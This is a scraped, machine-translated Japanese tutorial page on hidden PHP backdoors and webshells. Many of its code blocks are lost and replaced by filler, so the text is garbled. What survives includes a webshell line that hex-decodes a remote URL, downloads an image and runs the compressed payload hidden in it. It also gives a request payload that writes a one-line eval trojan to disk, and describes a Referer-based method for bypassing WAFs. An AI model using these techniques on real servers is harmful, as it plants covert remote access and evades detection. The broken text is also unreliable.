ホームページ >バックエンド開発 >PHPチュートリアル >チェックや強制終了を行わずに単純な PHP バックドアを特定する方法、チェックや強制終了を行わない PHP バックドアを特定する方法を教える_PHP チュートリアル
最も一般的なバックドアの 1 つは、一文で次のように記述できます
またはこれ
tudouya クラスメートが
を使用した FREEBUF で [構築テクニック] を提供しましたコードをコピーします コードは次のとおりです:
コードをコピーします コードは次のとおりです:
史上最も簡単な PHP バックドアとして知られるものを見てみましょう
コードに直接移動します:
リーリー
実装原理は、PHP が ` 記号 (注: 一重引用符ではない) に含まれる内容をシステム コマンドに直接解析して実行することです。これで自由自在に異常な拡張が可能に!同じ単純なコードを見てみましょう
リーリー
パスワードページ最近、PHP に基づいて実装された Web シェルのサンプルをキャプチャしました。その独創的な動的コード生成方法と面倒な自己ページ偽装方法により、このサンプルを分析する過程で非常に楽しい気分になりました。次に、この素晴らしい Webshell を一緒に楽しみましょう。
Webシェルのコードは次のとおりです:
リーリー
重要なのは、以下のコードを確認することです。
コードをコピーします コードは次のとおりです:
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
次に、file_get_contents 関数を呼び出して画像を文字列に読み取り、substr が 3649 バイト以降のコンテンツを取得し、gzuncompress を呼び出して解凍して実際のコードを取得します。最後に、preg_replace の修飾子 e が呼び出され、悪意のあるコードが実行されます。ここで次のステートメントを実行して、悪意のあるサンプル コードを復元します。
コードをコピーします コードは次のとおりです:
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
)
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067'),uniqid())),3649));
?>
機能のない PHP を一文で非表示にする:
$_POST['code'] の内容を $_SESSION['theCode'] に代入し、$_SESSION['theCode'] を実行します。注目すべき点は、署名コードがないことです。スキャン ツールを使用してコードをチェックしても、警告を発することはありません。これが目的です。
超隠された PHP バックドア:
リーリー
使用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
実行後、カレントディレクトリにc.phpという一文のトロイの木馬が生成されますが、パラメータaがevalの場合はトロイの木馬の生成に失敗したというエラーが報告されますが、assertの場合も同様のエラーが報告されます。一言で言っても、このトロイの木馬はそのようなアプリケーションにまで及びます。
このメソッドは 2 つのファイル、ファイル 1 に実装されています
リーリー
ファイル 2
リーリー
HTTP リクエストで HTTP_REFERER を使用して、base64 でエンコードされたコードを実行してバックドア効果を実現します。一般に、WAF ではリファラーの検出が緩いか、まったく検出されません。このアイデアを使用して WAF をバイパスするのは良いことです。
私たちは、これらの PHP バックドア プログラムを学習する姿勢で扱います。多くの PHP バックドア コードを見ると、プログラマーがどれほど善意を持っているかがわかります。
http://www.bkjia.com/PHPjc/1054514.html